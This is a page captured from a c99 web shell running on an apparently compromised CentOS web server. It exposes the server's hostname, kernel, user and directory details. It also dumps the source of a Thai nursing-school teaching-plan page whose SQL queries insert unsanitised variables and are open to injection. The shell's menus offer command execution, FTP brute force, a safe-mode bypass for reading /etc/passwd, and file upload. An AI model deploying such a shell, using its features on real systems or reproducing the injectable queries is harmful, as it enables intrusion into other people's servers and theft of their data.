!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/directorBCNU/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PlanDetail.php (30.41 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
        
        
        
/**  Config Table for This Page  */
        
$myTable1 "personal_tb";
        
$myTable2 "tech_plan_tb";
        
$myTable3 "tech_text_tb";
        
$myTable2PK "Plan_code";
        
        
/**  Table  -->  personal_tb  */
        
$query1 " SELECT *  FROM $myTable1  WHERE Username='$Username' ";
        
$result1 $dbObj->execQuery($query1);
        
$rs1 $dbObj->fetchObject($result1);
        
        
$Teacher_code $rs1->Teacher_code;
            
/**  โฟลเดอร์ไฟล์เอกสาร */
        //$doc_path = $_Config_live_site."/Plan_pic";
        
$doc_path "../Plan_pic";

        
/**  Paging */
        
$page $_GET['page'];
        if( 
$page == "" ) { $page 1; }
        
        
/**  จำนวนข้อมูล ต่อ 1 หน้า  */
        
$perpage $_REQUEST['perpage'];
        if( 
$perpage == "" ) { $perpage 10; }
        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<title>ข้อมูลทั่วไปบุคลากร - ข้อมูลแผนการสอน - รายละเอียดแผนการสอน</title>
<style type="text/css">
<!--
.style22 {font-size: 14px; font-weight: bold; }
-->
</style>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px">
    <?php
        $sql 
" SELECT *  FROM tech_plan_tb AS p, personal_tb AS t  WHERE p.Plan_code ='$Plan_code'  AND  t.Teacher_code='$Teacher_code' ";
        
$result mysql_query($sql);
        
$rs mysql_fetch_array($result);
            
$courseId $rs["courseId"];
        
        
$sql2 " SELECT *  FROM techplan_method_tb  WHERE Plan_code='$Plan_code' ";
        
$result2 mysql_query($sql2);
        
$row mysql_fetch_array($result2);
        
        
$sql3 " SELECT *  FROM tech_spec_tb  WHERE Plan_code='$Plan_code' ";
        
$result3 mysql_query($sql3);
        
$rss mysql_fetch_array($result3);
    
?>
    <fieldset>
     <table width="780" border="0" cellspacing="0" cellpadding="0">
      <form id="myForm" name="myForm" method="post" action="<?=$PHP_SELF;?>?page=<?=$page;?>">
      <tr>
        <td height="5" colspan="2"></td>
      </tr>
      <tr>
        <td width="570" height="30" background="../images/background/bg-head-topic.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a></strong> <strong>&raquo; <a href="Menu_Teach.php">ข้อมูลทั่วไปบุคลากร</a> &raquo; <a href="PlanList.php">ข้อมูลแผนการสอน</a> &raquo; <span class="NOTE">รายละเอียดแผนการสอน</span></strong></td>
        <td width="210" style="padding-left:15px;">&nbsp;</td>
      </tr>
      <tr>
        <td colspan="2"><table width="97%" border="0" align="center" cellpadding="0" cellspacing="0">
          <tr>
            <td>&nbsp;</td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td colspan="2" align="center"><table width="760" border="0" align="center" cellpadding="2" cellspacing="2" bordercolor="#F8F8F8" bgcolor="#EEEEEE" style="border:1px solid #EEEEEE">
          <tr bgcolor="#D3E4F8">
                    <td height="25" colspan="2" align="center" bgcolor="#F8F8F8" class="PATRON11"><font color="#003366" face="Tahoma">ชื่อหลักสูตร</font><font color="#993333" size="2" face="Tahoma">
                      <?php
                    $programId 
$rs['programId'];
                    
$strSQL1 " SELECT * FROM program  WHERE programId='$programId' ";
                    
$result1 mysql_query($strSQL1);
                    
$rs1 mysql_fetch_array($result1);
                     echo 
"$rs1[programName] ";
                  
?></font></td>
                </tr>
                  <tr>
                    <td width="163"  bordercolor="#006633"><font color="#003366" face="Tahoma">รหัสวิชา</font></td>
                    <td width="581" bordercolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma">
                    <?php
                        
//$courseId = $rs["courseId"];
                        
$strsql " SELECT * FROM  course  WHERE courseId='$courseId' ";
                        
$result_1 mysql_query($strsql) or die("Error".mysql_error());
                        
$rss2 mysql_fetch_array($result_1);
                            echo
"$rss2[courseCode]";
                    
?></font> &nbsp; <font color="#003366" face="Tahoma">ชื่อวิชา</font><font color="#000000" face="Tahoma">
                    <?php 
                        
//$courseId = $rs["courseId"];
                        
$strSQL1 " SELECT * FROM course  WHERE courseId='$courseId' ";
                        
$result1 mysql_query($strSQL1);
                        
$rs1 mysql_fetch_array($result1);
                            echo 
"<a href=\"javascript:;\" onclick=\"MM_openBrWindow('SubjectDetail.php?courseId=$courseId','SubjectDetail','width=750,height=350,scrollbars=yes')\">";
                            echo 
"$rs1[courseName]";
                            echo 
"</a>";
                    
?> &nbsp; </font><font color="#003366" face="Tahoma">หน่วยกิต</font> <font color="#0033CC" face="Tahoma">
                    <?php 
                        
//$courseId = $rs["courseId"];
                        
$strSQL1 "SELECT *  FROM course  WHERE courseId='$courseId' ";
                        
$result1mysql_query($strSQL1);
                        
$rs1 mysql_fetch_array($result1);
                            
//echo "<a href=\"SubjectDetail.php?courseId=$courseId\">";
                            
echo "$rs1[courseUnit]";
                            
//echo "</a>";
                    
?></font></td>
                </tr>
                  <tr bgcolor="#EEEEEE">
                    <td  bordercolor="#006633" bgcolor="#FFFFFF"><span class="TEXT-DARK-BLUE10">ปีการศึกษา</span></td>
                    <td bordercolor="#FFFFFF" bgcolor="#FFFFFF"><input name="acadYear" type="text" id="acadYear" style="text-align:center" value="<?=$rs['acadYear'];?>" size="4" maxlength="4"  disabled="disabled" />
                      <span class="TEXT-DARK-BLUE10">ภาคการศึกษา :</span>
                      <label> 
                        <select name="semester" id="semester"  disabled="disabled" >
                          <option value="1" <?php if($rs['semester']=="1"){ echo "selected" ; } ?> >ภาคการศึกษาที่ 1</option>
                          <option value="2" <?php if($rs['semester']=="2"){ echo "selected" ; } ?> >ภาคการศึกษาที่ 2</option>
                          <option value="3" <?php if($rs['semester']=="3"){ echo "selected" ; } ?> >ภาคการศึกษาที่ 3</option>
                        </select>
                    </label></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td  bordercolor="#006633" bgcolor="#FFFFFF"><span><font color="#003366" face="Tahoma">วัน/เดือน/ปีที่สอน</font></span></td>
                    <td bordercolor="#FFFFFF" bgcolor="#FFFFFF"><font color="#993333" face="Tahoma">
                      <?php 
                        
echo "วันที่ ".ymdE2dmyText($rs["Start_date"]);
                        
//echo "$rs[Start_date]";
                  
?></font><font color="#003366" face="Tahoma"> &nbsp; จำนวนชั่วโมงรวม </font><font color="#993333" face="Tahoma"><? echo $rs['Total_hour']; ?>&nbsp;<font color="#003366">ชั่วโมง</font></font></td>
                </tr>
                  <tr bgcolor="#EEEEEE">
                    <td  bordercolor="#006633" bgcolor="#FFFFFF"><span><font color="#003366" face="Tahoma">จำนวนนักศึกษา</font></span></td>
                    <td  bordercolor="#FFFFFF" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma"><? echo $rs['Total_std']; ?> คน</font></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td valign="top"  bordercolor="#006633" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">วัตถุประสงค์</font></td>
                    <td valign="top" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma"><?php echo htmlspecialchars_decodenl2br$rs['Objective'] ) ); ?></font></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td valign="top"  bordercolor="#006633" bgcolor="#FFFFFF"><span><font color="#003366" face="Tahoma">แนวคิดหลัก</font></span></td>
                    <td valign="top"  bordercolor="#FFFFFF" bgcolor="#FFFFFF"><font color="#993333" size="2" face="Tahoma"> <? echo htmlspecialchars_decodenl2br$rs['Mainidea'])); ?></font></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td valign="top"  bordercolor="#006633" bgcolor="#FFFFFF"><span><font color="#003366" face="Tahoma">เรื่องที่สอน</font></span></td>
                    <td valign="top"  bordercolor="#FFFFFF" bgcolor="#FFFFFF"><font color="#993333" size="2" face="Tahoma"><? echo   htmlspecialchars_decodenl2br ($rs['Title_name']));?></font></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td height="18" valign="top"  bordercolor="#006633" bgcolor="#FFFFFF" style="padding-top:4px"><font color="#003366" face="Tahoma">วิธีการสอน</font></td>
                    <td  bordercolor="#FFFFFF"><table width="100%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#8F8F8">
                        <tr bgcolor="#FFFFFF">
                          <td width="30%" height="18"><font size="2" face="Tahoma">
                            <input name="M1" type="checkbox" id="M1" <?php if (!(strcmp("$row[M1]","บรรยาย"))) {echo "checked";} ?> value="บรรยาย" disabled="disabled" />
                            บรรยาย</font></td>
                          <td width="30%"><font size="2" face="Tahoma">
                            <input name="M2" type="checkbox" id="M2"  <?php if (!(strcmp("$row[M2]","อภิปราย"))) {echo "checked";} ?> value="อภิปราย" disabled="disabled" />
                            อภิปราย</font></td>
                          <td width="30%"><font size="2" face="Tahoma">
                            <input name="M3" type="checkbox" id="M3" <?php if (!(strcmp("$row[M3]","Station/แบ่งกลุ่มย่อย"))) {echo "checked";} ?>  value="Station/แบ่งกลุ่มย่อย" disabled="disabled" />
                            Station/แบ่งกลุ่มย่อย</font></td>
                        </tr>
                        <tr bgcolor="#FFFFFF">
                          <td height="18"><font size="2" face="Tahoma">
                            <input name="M4" type="checkbox" id="M4" <?php if (!(strcmp("$row[M4]","ทดลอง"))) {echo "checked";} ?> value="ทดลอง" disabled="disabled" />
                            ทดลอง</font></td>
                          <td><font size="2" face="Tahoma">
                            <input name="M5" type="checkbox" id="M5" <?php if (!(strcmp("$row[M5]","สาธิตย้อนกลับ"))) {echo "checked";} ?>  value="สาธิตย้อนกลับ" disabled="disabled" />
                            สาธิตย้อนกลับ</font></td>
                          <td><font size="2" face="Tahoma">
                            <input name="M6" type="checkbox" id="M6" <?php if (!(strcmp("$row[M6]","ศึกษาด้วยตนเอง"))) {echo "checked";} ?> value="ศึกษาด้วยตนเอง" disabled="disabled" />
                            ศึกษาด้วยตนเอง</font></td>
                        </tr>
                        <tr bgcolor="#FFFFFF">
                          <td height="18"><font size="2" face="Tahoma">
                            <input name="M7" type="checkbox" id="M7" <?php if (!(strcmp("$row[M7]","PL"))) {echo "checked";} ?> value="PL" disabled="disabled" />
                            PL</font></td>
                          <td><font size="2" face="Tahoma">
                            <input name="M8" type="checkbox" id="M8" <?php if (!(strcmp("$row[M8]","PBL"))) {echo "checked";} ?> value="PBL" disabled="disabled" />
                            PBL</font></td>
                          <td><font size="2" face="Tahoma">
                            <input name="M9" type="checkbox" id="M9" <?php if (!(strcmp("$row[M9]","CIPPA"))) {echo "checked";} ?> value="CIPPA" disabled="disabled" />
                            CIPPA</font></td>
                        </tr>
                        <tr bgcolor="#FFFFFF">
                          <td height="18"><font size="2" face="Tahoma">
                            <input name="M10" type="checkbox" id="M10" <?php if (!(strcmp("$row[M10]","กรณีศึกษา"))) {echo "checked";} ?> value="กรณีศึกษา" disabled="disabled" />
                            กรณีศึกษา</font></td>
                          <td><font size="2" face="Tahoma">
<input name="M11" type="checkbox" id="M11" <?php if (!(strcmp("$row[M11]","Concept Mapping"))) {echo "checked";} ?> value="Concept Mapping" disabled="disabled" />                            
Concept Mapping</font></td>
                          <td><font size="2" face="Tahoma">
                            <input name="M12" type="checkbox" id="M12" <?php if (!(strcmp("$row[M12]","Clinical practice"))) {echo "checked";} ?> value="Clinical practice" disabled="disabled" />
                            Clinical Practice</font></td>
                        </tr>
                        <tr bgcolor="#FFFFFF">
                          <td height="18"><font size="2" face="Tahoma">
                            <input name="M13" type="checkbox" id="M13" <?php if (!(strcmp("$row[M13]","Project /โครงงาน"))) {echo "checked";} ?> value="Project /โครงงาน" disabled="disabled" />
                            Project/โครงงาน</font></td>
                          <td><font size="2" face="Tahoma">
                            <input name="M14" type="checkbox" id="M14" <?php if (!(strcmp("$row[M14]","Exhibition"))) {echo "checked";} ?> value="Exhibition" disabled="disabled" />
                            Exhibition</font></td>
                          <td><font size="2" face="Tahoma">
                            <input name="M15" type="checkbox" id="M15" <?php if (!(strcmp("$row[M15]","Semina"))) {echo "checked";} ?> value="Semina" disabled="disabled" />
                            Semina</font></td>
                        </tr>
                        <tr bgcolor="#FFFFFF">
                          <td height="18"><font size="2" face="Tahoma">
                            <input name="M16" type="checkbox" id="M16" <?php if (!(strcmp("$row[M16]","ดูงาน"))) {echo "checked";} ?> value="ดูงาน" disabled="disabled" />
                            ดูงาน</font></td>
                          <td><font size="2" face="Tahoma">
                            <input name="M17" type="checkbox" id="M17" <?php if (!(strcmp("$row[M17]","Nursing conference"))) {echo "checked";} ?> value="Nursing conference" disabled="disabled" />
                            Nursing Conference</font></td>
                          <td><font size="2" face="Tahoma">
                            <input name="M18" type="checkbox" id="M18" <?php if (!(strcmp("$row[M18]","Nursing round"))) {echo "checked";} ?> value="Nursing round" disabled="disabled" />
                            Nursing Round</font></td>
                        </tr>
                        <tr bgcolor="#FFFFFF">
                          <td height="18"><font size="2" face="Tahoma">
                            <input name="M19" type="checkbox" id="M19" <?php if (!(strcmp("$row[M19]","Pre-Post Conference"))) {echo "checked";} ?> value="Pre-Post Conference" disabled="disabled" />
                            Pre-Post Conference</font></td>
                          <td><font size="2" face="Tahoma">
                            <input name="M20" type="checkbox" id="M20" <?php if (!(strcmp("$row[M20]","Bed side tea ching"))) {echo "checked";} ?> value="Bed side tea ching" disabled="disabled" />
                            Bed Side Tea Ching</font></td>
                          <td>&nbsp;</td>
                        </tr>
                        <tr bgcolor="#FFFFFF">
                          <td height="22" colspan="3"><font size="2" face="Tahoma">
                            <input name="M_else" type="checkbox" id="M_else"  <?php if (!(strcmp("$row[M_else]","อื่นฯ"))) {echo "checked";} ?> value="อื่นฯ" disabled="disabled" /> อื่นฯ </font> <input name="Else_desc" type="text" id="Else_desc" value="<? echo $row['Else_desc']; ?>" size="50" maxlength="255" disabled="disabled" /></td>
                        </tr>
                    </table></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td height="18" valign="top"  bordercolor="#006633" bgcolor="#FFFFFF" style="padding-top:4px"><font color="#003366" face="Tahoma">คุณลักษณะแผนการสอน</font></td>
          <td  bordercolor="#FFFFFF">
                        <table width="100%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#F1F9FC">
                          <tr bgcolor="#FFFFFF">
                            <td width="41%" height="18"><font size="2" face="Tahoma">
                              <input name="Sp1" type="checkbox" id="Sp1" <?php if (!(strcmp("$rss[Sp1]","เน้นผู้เรียนเป็นสำคัญ"))) {echo "checked";} ?> value="เน้นผู้เรียนเป็นสำคัญ" disabled="disabled" />
                              เน้นผู้เรียนเป็นสำคัญ</font></td>
                            <td width="59%"><font size="2" face="Tahoma">
                              <input name="Sp2" type="checkbox" id="Sp2" <?php if (!(strcmp("$rss[Sp2]","สร้างเสริมประสบการณ์จริง"))) {echo "checked";} ?> value="สร้างเสริมประสบการณ์จริง" disabled="disabled" />
                              สร้างเสริมประสบการณ์จริง</font></td>
                          </tr>
                          <tr bgcolor="#FFFFFF">
                            <td height="18"><font size="2" face="Tahoma">
                              <input name="Sp3" type="checkbox" id="Sp3" <?php if (!(strcmp("$rss[Sp3]","ประสบการณ์จริงอิงCBL"))) {echo "checked";} ?> value="ประสบการณ์จริงอิงCBL" disabled="disabled" />
                              ประสบการณ์จริงอิง CBL</font></td>
                            <td><font size="2" face="Tahoma">
                              <input name="Sp4" type="checkbox" id="Sp4" <?php if (!(strcmp("$rss[Sp4]","เพิ่มชั่วโมงการสอนภาคสนาม"))) {echo "checked";} ?> value="เพิ่มชั่วโมงการสอนภาคสนาม" disabled="disabled" />
                              เพิ่มชั่วโมงการสอนภาคสนาม</font></td>
                          </tr>
                          <tr bgcolor="#FFFFFF">
                            <td height="18"><font size="2" face="Tahoma">
                              <input name="Sp5" type="checkbox" id="Sp5" <?php if (!(strcmp("$rss[Sp5]","มอบงาน/โครงงาน/case study"))) {echo "checked";} ?> value="มอบงาน/โครงงาน/case study" disabled="disabled" />
                              มอบงาน/โครงงาน/Case Study</font></td>
                            <td><font size="2" face="Tahoma">
                              <input name="Sp6" type="checkbox" id="Sp6" <?php if (!(strcmp("$rss[Sp6]","การเรียนการสอนผ่านเครือข่าย computer"))) {echo "checked";} ?> value="การเรียนการสอนผ่านเครือข่าย computer" disabled="disabled" />
                              การเรียนการสอนผ่านเครือข่ายคอมพิวเตอร์</font></td>
                          </tr>
                          <tr bgcolor="#FFFFFF">
                            <td height="18"><font size="2" face="Tahoma">
                              <input name="Sp7" type="checkbox" id="Sp7" <?php if (!(strcmp("$rss[Sp7]","การสืบค้นข้อมูลอิเล็คทรอนิค"))) {echo "checked";} ?> value="การสืบค้นข้อมูลอิเล็คทรอนิค" disabled="disabled" />
                              การสืบค้นข้อมูลอิเล็คทรอนิคส์</font></td>
                            <td><font size="2" face="Tahoma">
                              <input name="Sp8" type="checkbox" id="Sp8" <?php if (!(strcmp("$rss[Sp8]","เพิ่มชั่วโมงฝึกปฏิบัติ"))) {echo "checked";} ?> value="เพิ่มชั่วโมงฝึกปฏิบัติ" disabled="disabled" />
                              เพิ่มชั่วโมงฝึกปฏิบัติ</font></td>
                          </tr>
                          <tr bgcolor="#FFFFFF">
                            <td height="18"><font size="2" face="Tahoma">
                              <input name="Sp9" type="checkbox" id="Sp9" <?php if (!(strcmp("$rss[Sp9]","เพิ่มชั่วโมงห้องปฏิบัติการ"))) {echo "checked";} ?> value="เพิ่มชั่วโมงห้องปฏิบัติการ" disabled="disabled" />
                              เพิ่มชั่วโมงห้องปฏิบัติการ</font></td>
                            <td><font size="2" face="Tahoma">
                              <input name="Sp10" type="checkbox" id="Sp10" <?php if (!(strcmp("$rss[Sp10]","เพิ่มชั่วโมงจัดสัมนา"))) {echo "checked";} ?> value="เพิ่มชั่วโมงจัดสัมนา" disabled="disabled" />
                              เพิ่มชั่วโมงจัดสัมนา</font></td>
                          </tr>
                          <tr bgcolor="#FFFFFF">
                            <td height="18" colspan="2"><font size="2" face="Tahoma">
                              <input name="Sp11" type="checkbox" id="Sp11" <?php if (!(strcmp("$rss[Sp11]","อื่นฯ"))) {echo "checked";} ?> value="อื่นฯ" disabled="disabled" />
                              อื่น</font></td>
                          </tr>
                        </table></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td  bordercolor="#006633" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">งานวิจัยในชั้นเรียน</font></td>
              <td  bordercolor="#FFFFFF" bgcolor="#FFFFFF"><font face="Tahoma"><font color="#000066" size="2" face="Tahoma">
                        <input type="radio" name="Res_unit" <?php if (!(strcmp("$rs[Res_unit]","1"))) {echo "checked";} ?> value="1" disabled="disabled" />
                        <font color="#000000"> ใช้
                          <input type="radio" name="Res_unit" <?php if (!(strcmp("$rs[Res_unit]","2"))) {echo "checked";} ?> value="2" disabled="disabled" />
                          ไม่ใช้</font></font></font></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td  bordercolor="#006633" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">นำผลงานวิจัยมาใช้ประโยชน์ ในงานวิจัยอื่น</font></td>
                    <td  bordercolor="#FFFFFF" bgcolor="#FFFFFF"><font color="#000066" size="2" face="Tahoma">
                      <input type="radio" name="Apply"  <?php if (!(strcmp("$rs[Apply]","1"))) {echo "checked";} ?> value="1" disabled="disabled" />
                      <font color="#000000"> ใช้
                        <input type="radio" name="Apply" <?php if (!(strcmp("$rs[Apply]","2"))) {echo "checked";} ?> value="2" disabled="disabled" />
                        ไม่ใช้</font></font></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td valign="top"  bordercolor="#006633" bgcolor="#FFFFFF" style="padding-top:4px"><font color="#003366" face="Tahoma">วิธีการวัดและประเมินผล</font></td>
                  <td  bordercolor="#FFFFFF" bgcolor="#FFFFFF">
                        <table width="100%" border="0" cellpadding="1" cellspacing="1" bgcolor="#F1F9FC">
                          <tr bgcolor="#FFFFFF">
                            <td width="29%" height="18"><font size="2" face="Tahoma">แบบทดสอบ</font></td>
                            <td width="71%"><font size="2" face="Tahoma">คะแนน
                              <input name="Asses1" type="text" disabled="disabled" id="Asses1" value="<? echo $rs['Asses1']; ?>" size="5" style="text-align:center" />
                            </font></td>
                          </tr>
                          <tr bgcolor="#FFFFFF">
                            <td height="18"><font size="2" face="Tahoma">ชิ้นงาน/รายงาน </font></td>
                            <td><font size="2" face="Tahoma">คะแนน</font>
                                <input name="Asses2" type="text" disabled="disabled" id="Asses2" value="<? echo $rs['Asses2']; ?>" size="5" style="text-align:center" /></td>
                          </tr>
                          <tr bgcolor="#FFFFFF">
                            <td height="18"><font size="2" face="Tahoma">แบบประเมินจิตวิสัย</font></td>
                            <td><font size="2" face="Tahoma">คะแนน</font>
                                <input name="Asses3" type="text" disabled="disabled" id="Asses3" value="<? echo $rs['Asses3']; ?>" size="5" style="text-align:center" /></td>
                          </tr>
                          <tr bgcolor="#FFFFFF">
                            <td height="18"><font size="2" face="Tahoma">รวมคะแนน</font></td>
                            <td><font size="2" face="Tahoma">คะแนน</font>
                                <input name="Asses4" type="text" disabled="disabled" id="Asses4" value="<? echo $rs['Asses4']; ?>" size="5" style="text-align:center" /></td>
                          </tr>
                        </table></td>
                  </tr>
                  <tr bgcolor="#D3E4F8">
                    <td height="10" bgcolor="#FFFFFF" align="center">&nbsp;</td>
                    <td height="10" align="left" bgcolor="#FFFFFF">
                        <font color="#003366" face="Tahoma">ดาวน์โหลดเอกสารการสอน</font>
                        <?php if( $rs['Filetex'] != "" ) { ?>
                            <a href="download.php?filename=<?=$rs['Filetex'];?>&path=plan" target="_parent">
                                <img src="../images/icons/download.png" alt=" ดาวน์โหลดไฟล์ <?=$rs['Filetex'];?> " title=" ดาวน์โหลดไฟล์เอกสารการสอน" width="16" height="16" border="0" />
                            </a>
                        <?php } else { ?>
                            <img src="../images/icons/download_off.png" width="16" height="16" />
                        <?php ?> 
                    </td>
                  </tr>
                  <tr bgcolor="#D3E4F8">
                    <td height="10" bgcolor="#FFFFFF" align="center"></td>
                    <td height="10" align="left" bgcolor="#FFFFFF"></td>
                  </tr>
                  <tr bgcolor="#D3E4F8">
                    <td height="26" bgcolor="#FFFFFF" align="center">&nbsp;</td>
                    <td height="26" align="left" bgcolor="#FFFFFF"><table width="101%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#FFFFFF" style="background-color:#eeeeee; border:0px solid gray">
                        <tr bgcolor="#F0F0F0">
                          <td height="25" colspan="5" align="left" bordercolor="#999966" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font size="2" face="Tahoma" ><a href="javascript:;" onclick="NewWindow('AddPlanFiletex.php?Plan_code=<?php echo $rs['Plan_code']; ?>','Detail','750','400','yes')"> <img src="../picture/new.gif" alt="เพิ่มรายการเอกสาร" width="16" height="16" border="0" /></a></font><font color="#000000">&nbsp;&nbsp;<span class="style22"> เพิ่มการสอนรายบท/หัวข้อ</span></font></td>
                        </tr>
                        <?php
                            $query 
" SELECT *  FROM $myTable3  WHERE Plan_code='$Plan_code'  ";
                            
$result $dbObj->execQuery($query);
                            
$numrows $dbObj->_numrows;  
                        
?>
                        <?php
                            $no 
1+($display-1)*$limit;
                            while( 
$rs $dbObj->fetchArray($result) ) { 
                            
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";
                          
?>
                        <tr bgcolor="<?=$bgColor;?>">
                          <td width="3%" height="20" align="right"><img src="../images/icons/linesub.gif" width="16" height="16" border="0" align="absmiddle" /></td>
                          <td width="80%" align="left" class="PADDING-LEFT-5"><a href="javascript:;" onclick="NewWindow('DetailPlanFile.php?textId=<? echo $rs['textId'];?>','Detail','750','500','yes');">
                            <?=$rs["Plan_title"];?>
                            </a></td>
                          <td width="6%" align="center" class="PADDING-LEFT-5">
                          <?php if( $rs['Filetex'] != "" ) { ?>
                            <a href="download.php?filename=<?=$rs['Filetex'];?>&path=plan" target="_parent">
                                <img src="../images/icons/download.png" title=" ดาวน์โหลดไฟล์ <?=$rs['Filetex'];?> " alt=" ดาวน์โหลดไฟล์ <?=$rs['Filetex'];?> " width="16" height="16" border="0" />
                            </a>
                          <?php } else { ?>
                            <img src="../images/icons/download_off.png" width="16" height="16" />
                          <?php ?>
                          </td>
                          <td width="5%" align="center" class="PADDING-LEFT-5"><font size="2" face="Tahoma"><a href="javascript:;" onclick="NewWindow('FrmPlanFiletex.php?textId=<? echo $rs['textId']?>','Detail','750','400','yes');"><img src="../images/icons/icon-edit.gif" alt="แก้ไขข้อมูล" width="16" height="16" border="0" /></a></font></td>
                          <td width="6%" align="center" class="PADDING-LEFT-5"><div align="center"><strong><font size="2" face="Tahoma">
                            <script language="JavaScript" type="text/javascript">
                                function Conf<?=$rs[ResearchId];?>0(object) {
                                    if (confirm("คุณต้องการลบข้อมูล <?php echo " $rs[Filename]"?> หรือไม่?") == true) {
                                        return true;
                                    }
                                    return false;
                                }
                            </script>
                            <a href="DelPlanFiletex.php?textId=<?php echo $rs['textId']; ?>&Plan_code=<?php echo $rs['Plan_code'];?>"> <img src="../images/icons/cross.png" width="16" height="16" align="absmiddle" border="0" onclick="return confirm('คุณต้องการลบข้อมูลการสอนรายบทที่ <?=$rs["Filename"];?> เรื่อง <?=$rs["Plan_title"];?> ใช่หรือไม ?')" alt="ลบข้อมูล" /></a></font></strong></div></td>
                        </tr>
                        <?php
                    
//$no++;
                
# while
              
?>
                        <tr>
                          <td height="22" colspan="5" align="center" bgcolor="#F8F8F8"><strong>ทั้งหมด <span class="NOTE"><?php echo $numrows?></span> รายการ</strong></td>
                        </tr>
                    </table></td>
                  </tr>
              </table>        </td>
      </tr>
      <tr>
        <td colspan="2">&nbsp;</td>
      </tr></form>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result1);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0192 ]--